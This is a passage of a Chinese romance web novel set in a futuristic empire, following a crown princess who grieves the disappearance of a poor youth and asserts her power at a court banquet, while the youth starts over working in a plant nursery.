从始至终,他都只是紧紧抱住杯子里的小草。 * F区办公楼。 陆怀峰推开会议室的门时,江意衡已经回到工作状态。 她独自一人坐在长桌一侧,神情专注地批阅面前的项目文件。 而她手边的投影模块悬浮在半空,正在回放一段采访画面。 “请问殿下,是什么契机促使您亲赴F区授勋,并与获奖者逐一握手合影?” 画面中的她身着白色军装,唇角含笑:“科技的未来不应局限在中心区。苍曜勋章的荣誉,也应由我亲自交到他们手中。” “殿下,王室是否会进一步加强与F区的合作?” “当然。” 她的声音从容不迫,“未来五年,帝国将在这里全面推进教育、技术和人才体系的建设。科技之光,必将照亮帝国的每一个角落。” 画面至此,定格在她的微笑上。 江意衡端着下巴,扫了一眼投影中的自己:“灯光打得还是不够好。我的右脸明明最上镜。” 陆怀峰轻咳一声,适时接话:“不过,您在镜头前的表现依然游刃有余,气场十足。” 江意衡瞥了他一眼:“既然来了,有事直说吧。” 陆怀峰将一封纸质邀请函放在她的手边:“这是您参加晚宴需要的邀请函。信使在中心区没找到您,直接送过来了。” 江意衡顺过信封,熟练地掰碎蜡封,抽出信函看了一眼。 这是将花瓣融入原色木浆、沿用传统工艺制成的花草纸,邀请函的正文还是用墨水手写的。 她兴致索然地将信封推到一侧:“王室什么时候才能简化一下流程,每年在这种毫无必要的形式上,花费那么多财力。” 陆怀峰按住险些滑落的邀请函:“这毕竟是帝国自开国以来就一直保留的传统。不止是王室,中心区的贵族们也都以拥护复古传统为荣。” 江意衡伸指抵过眉心,倒转钢笔在文件上点了一点:“你来,就只是为了送这封邀请函?” “内阁那几位元老,希望今晚能跟您在宴上谈谈。” 江意衡笑了:“怎么,我扶持F区科技,影响他们在中心区坐收军火暴利了?” “他们似乎很在意,您近期频繁造访F区,还与闵执行长多次会面的事情。” 江意衡嗤了一声:“我可没忘记,上一次内阁会议,他们一个个对我避之不及,都巴不得去找我那已经昏迷的父亲。现在看出形势有变,又想回来巴结我?” 她挥手撤去面前投影:“告诉他们,我没空。如果他们这么急,可以等到下周的内阁会议,而不是占用我晚上社交的时间。” 陆怀峰点头知会,却没转身离开。 江意衡斜过视线:“还有别的事?” 陆怀峰犹豫片刻,开口道:“殿下,您真的打算在F区长期投入?这里地广人稀,一年下来的产值达不到中心区的百分之一。他们的空域,甚至连一条像样的主干航线都没有。” 他顿了顿:“更何况,F区的经济结构十分单一。就算这里有资源,如果没有完整的开采体系,恐怕短期内也很难有回报。” “很多人也是像你这么想的。但F区对外的贫穷印象,只是人为塑造的表象而已。” 江意澜指间轻晃钢笔,神情自若,“这些年来,中心区的保守派极端拥护高科技产业,所有关键资源都掌握在他们手里。他们并不是看不到F区的价值,而是不希望任何人发现这里的价值。” 她向后靠在椅背上,唇角扬起一抹冷意:“在中心区抢夺资源,就像从一群豺狼嘴里抢肉。可如果,我换个战场呢?” 陆怀峰恍然大悟:“原来,您的目标并非是简单的资源开发,而是通过掌控F区经济,撬动帝国固有的贵族体系?” “王室不是慈善机构,我当然不会做没有回报的投资。既然保守派那群老顽固这么依赖现有体系,那我就绕开他们的规则,创造一个新的体系。” 江意衡说完,低头看了一眼终端,“看时间,闵涛应该快到了。” 果不其然,不到十分钟,门外便传来一阵急促的脚步声。 闵涛带着助理匆匆前来时,脸上仍是忐忑模样。 江意衡顺手将面前那一沓文件推到桌边:“这些是我筛选出的提案,都已经批注过。劳烦闵执行长过目一下细节,针对我提出的问题进行修改。” 她抬头,目光从容:“我相信,这会是一个良好的起点。” 助理诚惶诚恐向她鞠了一躬,从桌上抱起像小山一样高的文件堆。 闵涛则是满面感激,恭敬俯首:“殿下能为F区做到这个地步,我们一定不会辜负您的厚望。” “合作愉快,闵执行长。” 江意衡捞起挂在一旁的黑色大衣,与陆怀峰一同离开。 她没走出多远,就听到身后的年轻助理小声嘀咕:“图书馆不就是因为长期得不到修缮才差点关停吗?现在资金都批下来了,您还担心什么?” 闵涛叹了口气:“修缮的问题是解决了,但如果招不到人,开馆时间依然会受影响。” 江意衡停住脚步,转身问道:“为什么会招不到人?” 闵涛和小助理瞬间噤声。 江意衡抱起手臂:“拨款当中应该包括图书馆的人员招聘。再说,修缮预计要一个月才完成,难道一个月都不够你们招人吗?” 闵涛推了推眼镜,解释道:“拨款主要用于修缮,余下的运营资金依然紧张,能够开出的薪资并不高。加上F区的青壮年主力大多已经背井离乡,去外区寻找薪资更高的工作,应聘的人就更少了。” “缺人的是什么职位?” “图书管理员。这份工作并不复杂,接触的大多是纸质文件,不需要任何专业技能,只需要耐心。但问题就在这里。” 闵涛语气无奈,“F区居民长期从事体力劳动,对这种需要久坐的文职岗位普遍不感兴趣。愿意做的人,又嫌薪资太低。” 江意衡微微挑眉:“薪资有多低?” “三千出头。虽然有公职福利,但比起其他岗位,确实不够有吸引力。” 江意衡沉默片刻,指尖轻敲在手臂上。 她正好想到一个合适的人选。 第29章 给我剪了 王室在报酬方面从不吝啬。 但授人以鱼不如授人以渔的道理,江意衡也不是没听过。 在她的印象里,简星沉向来是一个自力更生的人。 介绍一份清闲的工作给他,或许比直接给他钱还要适合。 等他有了在区立图书馆工作的经验,她也方便推荐他去待遇更好的地方。 为了避免飞船降落时掀起上次那样的巨大动静,这一回,江意衡勉为其难地接受了陆怀峰的建议,削弱了引擎在落地时的输出功率。 踏出飞船,脚步落在积雪未融的地面上,每一步都格外清晰。 绕向屋侧,她一眼看到那辆曾载过她的三轮车,仍好端端地停在少年屋后。 车身覆着一层细雪和灰尘,但车铃铛的拨片却锃亮如新。 江意衡忍不住将指尖落在上面,轻轻按动,车铃随即发出清脆的响动。 与此同时,陆怀峰的声音从屋前传来。 他的语气却有些不安:“殿下,您得过来看一下。” 江意衡绕回屋门时,陆怀峰正站在窗前,一只手将窗上霜雪拭去。 她走近,目光从他肃穆的面容上挪开,顺着他擦干净的玻璃望进去。 映在窗上的笑容缓缓凝滞。 屋里,没有人。 确切来说,是什么也没有。 曾经填满屋子的老旧家具、收纳箱还有废品,全都不翼而飞。 “把门打开。” 江意衡冷声吩咐完,撇过视线,扫过周身。 前一晚似乎才刚下过雪,地上的细微痕迹全被素白掩盖。 但只是这样看着,环境仍算祥和,并不像发生过什么意外。 老式铁门本就不牢靠,陆怀峰只踹了两脚,便将门踢开。 江意衡踏进屋中。 风从身后灌入,卷起冬日的寒意。 阳光透过窗,将她的影子投在灰扑扑的水泥地上。 这里的一切都被抹去,连一片塑料的影子都不曾留下。 失去了所有生活痕迹的十五平米空荡得发慌,四面光秃秃的墙壁仿佛正一点点向中心收拢,令人不由自主屏住呼吸。 陆怀峰迅速取出通讯器:“属下这就联络本地安全署,看他们知道什么。” 话音刚落,一个电话却抢先打了过来。 他看了一眼通讯器,旋即挪近耳边,对江意衡轻声道:“是房管办公室的人。” 免提开启,一个男人的声音赫然在空屋中回响:“不好意思陆队长,打扰您了!您之前跟我讲过,只要有事就联系您,所以我才打电话过来。” “是关于简星沉的事?” “简星沉……啊,对,就是关于简星沉的事!” “他怎么了?” “他不续租了,还把钥匙一起寄回来了。本来为了响应近期的福利政策,租期上的最后一个月都送他住了,可他连天上掉的馅饼都不捡。” “他有没有留联系方式?现在廉租房的退租文件上,应该都有这一条。” “我找找。” 通讯器另一头传来翻动纸页的刷刷声,“有,有的!他留了收信地址,离他之前租的地方好像不远,但收信人的名字叫张念春……” 陆怀峰沉默着抬头望向江意衡。 她却不声不响,毫无反应。 房东等不到人声,语气变得忐忑:“喂,请问,您还在听吗?” “有事我会再联系。”陆怀峰利落地挂断了通讯。 空气忽然一片寂静。 好像从这一刻起,连呼吸的声音都从屋里消失。 这里比江意衡第一次来时还要寒冷。 她下意识地走向曾经立着架子的角落,还没做出任何动作,原本悬浮的恒温力场生成仪就“当”地一声从半空落下,在地上露出金色球体的原貌。 一个月前,她留下这东西,只是为了让简星沉能住得暖和些。 恒温力场生成仪在不充能的前提下,可以连续运行四到六周不等,随后进入节能模式。 开始节能后,如果它连续四十八小时没在范围内检测到有人活动,就会自动中止运行。 所以,距离简星沉离开,已经过了至少两天。 这期间,他在做什么? 江意衡俯眼看着地上的金色球体,正微微出神,外面却忽然响起踩雪的沙沙声。 她一回首,就瞥见一道人影从门口闪过。 “站住!”陆怀峰转身追了上去。 江意衡不紧不慢地踏出门槛时,陆怀峰正将那个小混混反剪双臂,按在墙上。 石彪歪着嘴,一如既往地嘴硬:“乱抓什么人,老子碍你什么事了!” “手握赃物,还想装傻。” 陆怀峰从小混混的口袋里抽出那张黑色芯片,“你为什么会有殿下的黑卡?你是怎么偷来的?” “老子,老子才不是偷的!” 石彪的脸在墙上都快挤变形了,却还狠狠咬牙,“那是小垃圾不要的!他不要的东西,又怎么能算赃物……” 石彪话声骤止,瞳孔因为紧张骤缩。 江意衡的身影像一道利刃,笔直地劈入他的视野。 “不要?” 她歪过头,唇角勾笑,视线却好像利箭穿透他,“谁告诉你,他不要了?” 江意衡披着黑色大衣,露出别有王室领针的西装领口。 双手虽然插在衣兜,身上的凌厉气场却根本藏不住。 石彪并不知道,这是顶级Alpha的天生压制。 他只是本能地觉得,这样的江意衡,比任何时候都要气势逼人。 他嚅着干巴的嘴唇,费劲地扯了扯嘴角,试图为自己争辩:“你就不好奇,我是在哪捡到这张卡的?” 说着,他奋力向窗台瞄了一眼,信誓旦旦:“两天前,那儿还放了个杯子,里头装着泥巴,下面就压着这张卡。小垃圾把屋子都清空了,偏偏把卡留下,能是为了什么?” 陆怀峰手上力道一重,石彪猛地发出一声哀嚎。 小混混拼命斜眼看向江意衡:“他不要你的施舍,不是很显然吗?既然都当垃圾丢在身后,谁捡走,又有什么区别!” 江意衡没说话,只是抱臂从他身侧绕过几步,又忽然停住。 她偏过视线,目光扫过小混混愕然的脸,像在随意打量一堆垃圾。 陆怀峰正举起那张黑卡,对石彪郑重言明:“这不是普通的储蓄卡,而是特制的信用芯片。每一次刷卡的数据,都会实时传回中心区。” 他目光愈凝:“如果你真的动用这张芯片,安全署早就找上门了。像你这种有前科的人,难道就这么迫不及待,想把自己送进中心区的监狱?” “少,少唬人!” 石彪脸色一僵,嘴上却还努力装镇定,“你要是不说,谁知道这是什么卡,上面又没标!” “装糊涂对你没有任何帮助。” 陆怀峰振声警告他,“去安全署,你有的是机会慢慢说。” “不必了。” 江意衡抬起一只手,指尖轻晃,“让他滚。” “可是,殿下……” “没听到我的话吗?”江意衡冷眼扫过他。 陆怀峰只能照做。 他一松手,石彪就像断了线的傀儡般踉跄后退数步,险些摔倒在雪地里。 小混混匆忙抹去嘴角沾上的雪渣,满脸惊惶,跌跌撞撞地逃窜远去。 陆怀峰双手将芯片递回给江意衡:“殿下,现在怎么办?” 怎么办。 江意衡也想知道还能怎么办:“卡的新主人都把它留下了,难道我还能追着赶着,给他亲自送去吗?” 陆怀峰从没听到她这么阴阳怪气的语气,几乎要失去她引以为豪的优雅风度。 “殿下,”他微微迟疑,“如果只是三两天,像简先生那样没有飞船可以搭乘的人,是走不了多远的。需要追查他的下落吗?” 江意衡完全没有理会他的话,径直转身走开。 她循回窗边,视线沿着墙根看去,很快就在转角边一处隐蔽的雪坑里,拎出那只盛着小草的破旧搪瓷杯。 因为被埋在雪中,纤弱的小草几乎被压弯了腰。 可即便茎秆硬生生拐了一个弯,叶片也依然在努力向上生长。 “怀峰,你听说过吗?有些植物从发芽起,就只是为了从扎根的地方分离,随风飞远。” 江意衡的话,让陆怀峰迷茫了两秒。 “殿下说的,是风滚草?” “是什么都可以,是什么都不重要。” 江意衡低头看着杯中的小草。 她曾经让简星沉代她好好照顾这东西。 如今小草还在苟延残喘,他却不见了。 父亲说的没错,只有懦弱的人才需要爱。 这种东西,从一开始,就该放任它自生自灭。 “我为什么要在乎一棵小草随风飘去哪里。” 她的声音里,只余下冰雪般的冷意,“他的死活,和我又有什么关系。” 陆怀峰想说什么,可话语到了嘴边,却又显得如此单薄。 他熟悉至少三十种擒拿的路数,趁手的武器也不下十种。 可他并不知道,应该如何在这种情况下,安慰这位与他有过过命交情的王储殿下。 江意衡长久注视着杯子里那棵歪歪扭扭的小草,整个人纹丝不动,好像就要原地凝成一尊冰雕。 陆怀峰开始担心她的状况:“殿下,这里很冷,不如先回飞船休息……” 手中却忽然被塞进一个东西,是江意衡刚才抱在手心的杯子。 她转身与他擦肩而过,顺手戴上了墨镜。 江意衡几乎从不在人前佩戴墨镜。 她毫不吝于展示自己的眼神,哪怕是最细微的一抹笑意或冷漠,都可以是她左右人心的手段。 而此刻,这个惯于掌控一切的人,却在她最信任的下属面前,用墨镜遮住了眼睛。 她心中所想,似乎远比她表露出的,还要汹涌。 陆怀峰托着杯子回身追问:“殿下,这东西,您想怎么处置?” “扔了。” 江意衡头也不回地向飞船走去,“给我扔得,越远越好。” * 一对红白蓝的三色灯柱缓缓旋转,仿佛记忆也能随之倒带。 江意衡站在位于E区的“秀丽美发沙龙”门前。 四岁那年,母亲牵着她的手带她来过同一家理发店,还请整个街区最受欢迎的理发师为她修出漂亮的刘海。 但也只有那么一次。 后来,她的头发都是由王室理发师操刀了。 江意衡推开玻璃门,悬在门顶的铃铛发出一声清脆的“叮咚”。 正在扫地的店员一听到铃响,旋即放下扫帚,亲切地迎上前来:“欢迎光临!剪烫染发,这边都可以做。” 江意衡缓缓扫视店面。 工作日已经过了五点,店里的三把理发椅全都空着,除了扫地的店员,看不到其他人。 地上没有碍眼的碎发,空气里飘着一股淡雅的洗发水清香,温馨又熟悉。 江意衡回过神时,店员正微愣着打量她,好像才意识到,她并不像店里平常会有的客人。 “您不是本地人吧?” “不是。”江意衡摘下墨镜,露出一张没什么表情的脸。 她察觉到店员的目光停留在她脸上,微微不快:“怎么,这家店对顾客的出身有讲究?” “没有的事。” 店员伸手拍了拍额头,弯腰从柜子里取出围裙系在身上,“请问,您想怎么打理头发?” “帮我做个发型,正式一点。”江意衡弯唇轻笑。 她在洗发椅上躺下,心安理得地看着理发师围着自己忙碌。 理发师约莫四十多岁,面目和蔼。 而她揉搓发根、按摩头皮的手法,格外耐心轻柔。 等到江意衡坐回镜子前,理发师便帮她解开干发巾,拿起木梳,替她把头发梳整齐。 粗糙的梳齿划过头皮时,带起些微刺麻。 江意衡不知怎么就想起,少年替她梳发的时候,也是拿着一把小木梳,一点一点替她把长发梳开。 除了幼时母亲替她梳头,她就只让他那样亲昵地帮她梳过头。 如今看着理发师耐心为她梳理湿发,她却不自觉地想到,少年那时握住梳子在她发间穿梭的感觉,还有他落在她颈间的温热呼吸。 虽然他的动作丝毫不如理发师娴熟,但却认真极了。 “您是为了什么场合做发型?” 理发师放下梳子,双手扶着椅子,露出笑容,“如果是正式的商务会议,我可以帮您做个盘发。这是最经典、最不会出错的发式。” 江意衡伸手撩起一缕湿润的长发,温凉的感觉沿着指腹一路蔓延。 她透过镜子看着发丝在掌心垂落,默了一瞬。 然后,轻轻一掂。 “给我剪了。” 第30章 真是令我感动 “是要修一下发尾吗?” 理发师微笑着,语气温和得几乎不像职业客套,“您的头发状态这么好,稍微修剪一下就会很出彩。” 江意衡记得,少年也曾称赞过她的头发。 终身标记之后的那天早上,他跪在床上耐心为她梳头编发,说很羡慕她有这样乌亮顺直的长发,不像他的有些毛躁。 可如今再回想,那些记忆却像冬日一样苍白。 江意衡抬高手指,在颈侧微微停顿,随即轻轻一划:“剪到这个长度,不要过耳。” 理发师笑容一滞:“可是,您有这样漂亮的头发,为什么……” “因为有人夸过。” 江意衡撇起嘴角,眼底掠过冷色,“我一点也不需要这种东西。” 理发师面露难色。 她动了动唇,手在剪刀柄上轻轻摩挲,似乎想再劝几句。 但最终只是整理好表情,声音恢复平静:“好的顾客,您稍等一下。” 乌黑湿润的长发一片一片落在白瓷砖上,镜子里的人也一点点褪去熟悉的模样,变得更加生冷不近人情。 最后,理发师抬起一面圆镜,为她照出后面的头发层次,以便她检查效果。 江意衡的指尖从发尾拂过。 在她开口前,耳边却无端响起自己对他说过的那句话。 “只有你能当我的镜子。” 她瞬间握紧五指。 * 高达五米的双扇木门由四名侍从拉开。 明黄灯光携着暖意,从逐渐开启的门缝中向外渗出。 江意衡踏入这片属于贵族的领地。 她的领地。 虽然晚宴名义上是八点开始,然而早在一小时前,各路来宾就已陆续拿着邀请函入场。 这反倒显得准时登场的她,像故意迟到一样。 今晚到来的人,不是王公贵族就是内阁重臣,当然也包括几名眼熟的政商巨头,甚至还有两名来自海外的使臣。 几乎是在江意衡步入晚宴主场瞬间,周围所有宾客的目光便驻留在她身上,随着她的步履而挪移。 王储殿下今晚的装束很不寻常。 标志性的盘发不知所踪,换成了利落的挂耳短发。 身上不再是王储的白色军装,而是一件黑色过腰皮衣,胸口别着王室的十二芒星徽章。 那枚戴在食指上的黑曜石戒指更是格外醒目,清楚昭示着她如今的地位。 忽然间,江意衡听到背后传来一声近乎失态的呼声:“陛下!” 宴会中所有窃窃私语的声音瞬间消弭。 所有人看着,身为内阁重臣的章厉殊是如何跌跌撞撞从转角冲出。 他满面震惊地跪在大理石地板上,伸出双手,试图挽留前方的江意衡。 “陛下,您……回来了?” 江意衡伸手拨了拨耳后碎发,并未作声。 她几乎是王宫里的人看着长大的。 没几个人不知道,她与江御川的五官容貌有多么神似。 尤其是短发黑皮衣的搭配,更是将她身上本有的英气发挥到极致。 江意衡淡声一笑:“章部长,您是不是该去检查一下眼睛?” 章厉殊愣住。 意识到自己将王储殿下错认成了陛下本人,他已是无地自容:“抱歉,殿下。只是您今日的形象……实在与陛下年轻时,太过相像。” 章厉殊并不是唯一这样认为的人。 在他说完这句话后,四周陆续响起认同的私语声。 “我刚才就想说,殿下这身装扮,看着也太像陛下了。” “女肖父相有什么奇怪的,我家女儿也很像她的父亲。” “恐怕陛下自己看到殿下现在的样子,也会叹为观止吧!” “不过章部长当面把殿下称呼为陛下,这似乎……不太合适。” “可不是嘛,当着殿下与这么多人的面,表露自己对陛下的忠心,我看他的日子不会好过了。” “我倒想知道,陛下什么时候才能养好身体?你们听说任何消息了吗?” 各路话语纷纷传入耳中,江意衡清楚地意识到,无论是章厉殊,还是在场这许多人,都依然寄望于江御川醒来。 父亲明明卧床不醒,可他留下的势力,却无处不在。 上一次在内阁立威,并没有真正撼动那些忠于父亲的人。 这一次,江意衡不打算给他们留下半点侥幸的余地。 “章部长。” 她回首,脸上甚至挂着体面微笑,“听说您的儿子保释出狱了,父子团圆的感觉,应该很不错吧?” “多谢殿下……手下留情。” 章厉殊不愧是内阁之中第二会看人脸色的人,即便吃了那么大一个亏,也还能撑得住面子。 他抬眼,正见江意衡走到他面前。 她笑着向他伸出一只手,俨然是要拉他一把。 章厉殊是个审时度势的人。 他不敢贸然接下江意衡当众展露的善意,只是双手撑在地上,试图自行起身:“谢过殿下,我怎么敢……麻烦您。” “我可没觉得麻烦,章部长。” 江意衡一把揪住他的衣领,竟然就这么把人从地上活生生地拎了起来。 一个二十四岁、身高一米八四的女Alpha,拎着五十八岁、身高一米八的男Alpha,俨然像雌鹰抓着一只硕鼠。 章厉殊还没回过神,就被她一路拽着穿过宴会大厅,甚至被迫踉跄着爬上旋梯。 整个宴会厅的权贵都眼睁睁望着,章厉殊猛地撞上二楼的雕花栏杆,佝偻着腰,痛到直不起身。 江意衡的身影旋即出现在众人视野中。 她缓步逼近栏杆:“您对我父亲的忠诚,可真是令我感动。” 章厉殊才刚稳住身形,还没来得及躲开,就又被一把揪住衣领。 江意衡的声音不高,却字字清晰:“您是不是指望着我父亲醒来,把我从现在的位置上换下去?我上次在内阁说的话,您是一点也没记住。” “没有,绝对没有这回事!”章厉殊摇着头,连忙狡辩。 “那您联合几位同僚,特地来宴会找我约谈,又是为了什么?” 江意衡啧了两声,“我还听说,您近期招了十二个退伍特种兵,守在您位于中心区的豪宅外。怎么,是怕安全署的人哪天找你麻烦?” 她全然不顾王室应有的礼仪,露出猎人般的可怕神情,手指几乎扣在章厉殊的喉咙上。 下一秒,她却忽然收手,近乎亲切地拍了拍他的肩膀,把他从栏杆边调转方向,甚至连语气都从容了几分:“章部长虽然错认我为陛下,但他对帝国的赤胆忠心,大家有目共睹。” 众人一时看不清王储殿下的意图,章厉殊的脸上也浮出一抹尴尬的笑。 经过这一番羞辱,他以为,自己总算躲过一劫。 然而话音刚落,江意衡却扭过头,当着满场宾客的面,朗声宣布:“像章部长这样的忠臣,自然应该为帝国竭尽所能。从今天起,他就是D区的经济总督。任期,十年起步。” 宴会厅一阵哗然。 D区虽然不至于像F区那样落后,但也绝对不是权贵们会青睐的驻地。 更何况,那是整个帝国出了名的烫手山芋。 前两任经济总督皆没有好下场,上一任甚至因为卷入帮派争斗,被生生砍断了一条手臂。 章厉殊毕竟出身正统贵族世家,往上五代都是贵族头衔,本人在帝国内阁的地位也是根深蒂固。 此时被派往D区,对他而言,无异于是公开流放。 章厉殊的笑容还未敛起,就僵在脸上,神情在惊愕与愤怒之间交错拉扯。 他张了张嘴,试图反驳什么,但在众目睽睽之下,一个字也没说出来。 江意衡神情自若,仿佛在欣赏一场精彩演出,目光扫过他脸上每一寸抽搐的肌肉。 “您不是一直觉得,F区不值得长期投入吗?那就去D区好了。那儿的基础可是比F区强了不止十倍,最适合您展示才干。” 她坦然一笑,“正好也让大家看看,您究竟,有多么忠于帝国。” 宴会厅一片死寂。 江意衡漫不经心理平袖口一丝褶皱,视线掠过全场,笑容冷漠疏离。 “希望各位都长点记性。下一个人,可就没他这么幸运了。” * 江意衡回到加护病房时,黎书宛刚刚结束长达三天的陪护。 她晚了一刻钟,没能在病房遇到这位继母。 只见到父亲安详躺在病床上,由帝国最精密的仪器维持生命体征。 心电图上的线条一如既往平稳延展。 江御川虽然摆脱七十二小时的危险期,但仍未有苏醒迹象。 他能否醒来,何时能醒来,如今已是谜题。 江意衡沉默良久,才缓缓握住父亲的手。 这双手曾带她拉开弓弦,教她弹奏钢琴,也曾在导致母亲飞船失事的文件上签署姓名。 她仍能感到江御川手心的温度,可躺在病床上的人,已经不会再回应什么了。 江意衡忽然笑了。 只一瞬间,她又恢复了那副习以为常的冷漠表情。 窗外,晚霞正从天际铺开,一只水鸟从湖上振翅起飞,身形很快没入夜色。 映在窗上的面容,如今显得无比陌生。 江意衡弯腰靠近病人耳边,动作谨慎,像是怕惊醒沉睡的人:“这就是您想看到的?” 她明明在质问江御川,语气却轻得像哄劝一样:“这就是您处心积虑、不惜一切,希望女儿变成的样子?” 30-40 第31章 把你卖了都不够 “你到底是怎么搞的?” 简星沉刚从盥洗室回到苗圃,就被人吼了一句。 “明知我早就相中这棵白梅,从去年秋天它发芽起,我就一直在等它开花!现在呢?” 徐子悦叉着腰站在前方,脸都气红了。 他是这一行里小有名气的花艺师,也是老板的熟客。 这座全天然、无机械干预的苗圃里,有一半以上的花苗是专门为他培育的。 简星沉被吼得耳朵嗡嗡作响,却不知道发生了什么:“怎么了,徐老师?” 少年这副茫然的表情,却只让徐子悦更加恼火。 “给我睁开眼睛,好好看看!” 徐子悦抬手在他后脑拍了一下,指着前方一株白梅,咬牙切齿,“之前好端端的,今天怎么就折了?” 顺着他手指的方向望去,简星沉这才看明白了。 这原是一簇长势喜人的花枝,可最中央的主枝如今却耷拉着一截断枝。 断口齐整,伤痕还新,只勉强靠着一片薄薄的树皮连着。 毫无疑问,这是被锋利的园艺剪刀恶意剪断的。 “这株白梅,一直是你负责照料。” 徐子悦气得拽过他的肩膀往前一推,几乎把他整个人摔到花盆上,“从它还是树苗的时候我就在等,好不容易等到它长成我想要的样子,却因为你的疏忽,都毁了!” 简星沉扶着花盆,半晌也没站直。 刚才被推过来的时候,他全靠双手拼命支撑,才没让腹部直接撞上去。 他抬起裹着袖套的胳膊,擦去额上渗出的冷汗,面色因为身体痉挛变得苍白,说话也有些费劲:“我,我可以赔。” 徐子悦只是看着他吃力转身的模样,就忍不住皱起了眉。 “就你那点工钱,能抵得上我这株白梅培育到现在的时间成本?我这花艺作品如果拿不出手,那我得罪的贵客、损失的名声、后续被影响的订单……你赔得起吗?” 花艺师的怒吼声响彻苗圃,“把你卖了都不够!” 不远处,几个修剪花枝的年轻员工停下手中动作,一边看戏,一边憋笑,满脸写着幸灾乐祸。 杨老板闻声赶来:“徐老师,您和一个毛头小子动什么气。” 徐子悦哼了一声,并不搭理。 杨老板扭头,目光严肃地打量简星沉:“徐老师的白梅怎么了?” “我只是去了一趟盥洗室,回来,就这样了。” 少年急得眼圈发红,却还拼命忍住眼泪,“我真的不知道,为什么会这样。” 杨老板把他拉到一旁,小声问:“真不是你干的?” 简星沉只是反复恳求:“老板,您知道的,我是真的很需要这份工作。” “你是我这最勤勉的员工,我怎么会不知道。” 杨老板侧过头,目光在苗圃里扫了一圈。 周围几人纷纷低头干活,一副事不关己的样子。 “如果不是你干的,那就是别人。” 他一手扶额,叹了口气,“你才来三个月,资历最浅,我一早就让你跟他们处好关系,你偏偏只会闷头做事。平常你把我这淘汰的花苗捡回去,我都睁一只眼闭一只眼。偏偏这两天监控坏了,就算别人栽赃,我也帮不了你。” 徐子悦看他们嘀嘀咕咕半天也没结果,火气又冒了上来。 “苗圃有这种员工,真是晦气。这种人,还留着干什么?” 简星沉颤颤举起一只手。 徐子悦恼火道:“这儿没你插嘴的份!” 少年缩了缩脖子,却没把手放下:“我可能,有办法。” “办法?” 徐子悦斜着眼嗤了一声,“就你,能有什么好办法?你再有办法,还能让断掉的主枝重新长回去?” 简星沉摇摇头:“我可以用余下的部分,帮您交差!” * “那小子能行吗?” 徐子悦靠着工作室的墙,朝杨老板撇嘴,“我这客户可是中心区的贵族,身份保密,怠慢不了一点。我头一次接这样的单,连花瓶都是客户差人送来的。要是客户不满意,他一个破种花的,可承担不起后果。” 杨老板早早在桌面铺好垫布,从包装盒里抱出那只细颈青瓷花瓶,小心翼翼地摆上去:“徐老师放心。小简虽然人木了点,干的又是体力活,但审美其实不错。” 他指了指四周:“您也知道,我们平常维护都要修掉不少花枝。小简嫌扔了可惜,专门收集起来,趁着休息的时候插花,把这间用来处理鲜切花的工作室都装饰起来了。您看看,怎么样?” 徐子悦挑眉观望了一圈。 地上摆着几个盛水的铁皮深桶,插放着各色花枝,都是苗圃修剪时留下的边角料。 有些花瓣残缺,有些枝干畸形。 与他平常在工坊签收的鲜切花,完全不是一个质量。 窗台上摆着一排插花的容器,是常见的矿泉水长颈瓶,样式普通,让人毫无兴致。 可瓶中的花枝,却意外吸睛。 它们或是被修剪出分明的轮廓,或是依靠配色与层次弥补缺陷。 最显眼的,是那只褐色玻璃瓶。 几支半枯的白玫瑰立在瓶中,花头高低错落,其间还点缀着几根弯曲的裸枝。 即便是再挑剔的人,目光也会不由自主地为之驻留片刻。 徐子悦没想过,自己一个花艺师,居然会在一个简陋的工作室里,看到如此灵气活现的构思。 他心中讶异,嘴上却仍是没好气地嗤了一声:“这都是小家子气的东西,取巧罢了。我看他这次能补救到什么程度。” 杨老板帮简星沉拉开工作室的门时,少年怀里正捧着从白梅顶端折下的那截花枝,上面还带着几条完整的侧枝。 一进门,他就把整段花枝轻放在垫布上,然后蹲在桌前,仰头对着桌上的青瓷花瓶观察了一会。 徐子悦瞄了他一眼:“你瞅什么?” 简星沉一言不发,只是从口袋里抽出一把布尺,先量过花瓶的尺寸,又抱起花枝,对着瓶口反复比划,这才抄起一把干净的剪刀。 犹豫片刻后,他下定决心,将原本折断的主枝彻底剪掉,又在其他枝节上动了几刀。 直到,整枝白梅只剩下两条侧枝。 一枝由最高的转折点向下垂落,挂着几朵半开的白梅,还有零星的花骨朵。 另一枝则由三寸往下的位置生发,虽然光秃秃的,却坚定地向上延伸。 徐子悦本以为少年会出丑,看到这一幕,却不自觉地嘴角一抽。 修剪后的那枝梅,枝条曲折清瘦,花朵星星点点,透着一股清冷克制的意境。 怎么看,都不像是面前这个浑身泥点、一脸老实的小子能把握的风格。 “就这样?” 少年像是没有听出他的讽刺,抬起脸,努力挤出一点笑意:“等花枝在水里醒够时间,您把底下剪短些,插进花瓶就好。” 他起身,扶着墙缓了口气,低头揉了揉酸胀的腿脚:“我先回去干活了。” 说完,头也不回地走出了工作室。 只留下徐子悦冷脸支着下巴,对着那枝刚修剪好的白梅,发出一声不以为然的哼笑。 * 夕阳将金光斜着洒进苗圃。 下午四点,等其他人陆续收工离开,简星沉才收起工具,转身从废弃花材回收箱里,扒拉出一盆被淘汰的黄色兰花。 骑着小电驴,街上安静得能听到风吹过的声音。 一路驶进熟悉的住宅区,他远远就看到窗口透出暖黄的灯光。 这栋小房子坐落在一个偏僻的街区,老是老了点,家里每天都能看到蜘蛛和壁虎。 但这儿距离苗圃和他上晚班的餐馆都只有半小时车程,在A区这种寸土寸金的地区,简直就是捡漏。 一进门,简星沉就把厨房打扫了一遍,垃圾分好类带出去,才回来给自己倒了杯热水。 年逾七十的房东李又珍听到动静,从客厅过来好奇查看:“小简,今天不上晚班?” “餐馆今天休息。” 简星沉从水池里把浸过盆的兰花端起,放在窗台上。 那里已经有一盆白色蝴蝶兰,开得正旺。 李又珍摘下老花镜,打量着他带回的盆栽:“又捡花回来啦?” 简星沉点点头:“这个品种叫金如意,我想讨个吉利。” 他摸了摸脑袋:“餐馆不开工,我也没法带饭回来,想着总得准备什么,才不至于白住。” “我年纪大了,腿脚不好,这边人工又贵。你平常帮我打扫家里角角落落,足够抵房租了。” 李婆婆轻轻拍了拍他的肩膀,“你难得早回家,赶紧休息,别累到身子。” 简星沉的房间在第三层,是顶楼边角的小单间。 十平米的小卧室自带一个迷你卫浴,麻雀虽小,五脏俱全。 这房间最早是储物间,后来改成单间,上门看过的其他租客都嫌挤,只有他不挑剔。 除了逼仄些,最大的缺点是墙上没有窗户,只有天花板上开了一扇小小的天窗。 晚上还能勉强看看星星,白天只在特定的时间,才有阳光洒落在床边书桌上。 为此,他把房间里所有的植物都摆在了书桌上,包括仙人球、长寿花和几盆迷你蝴蝶兰。 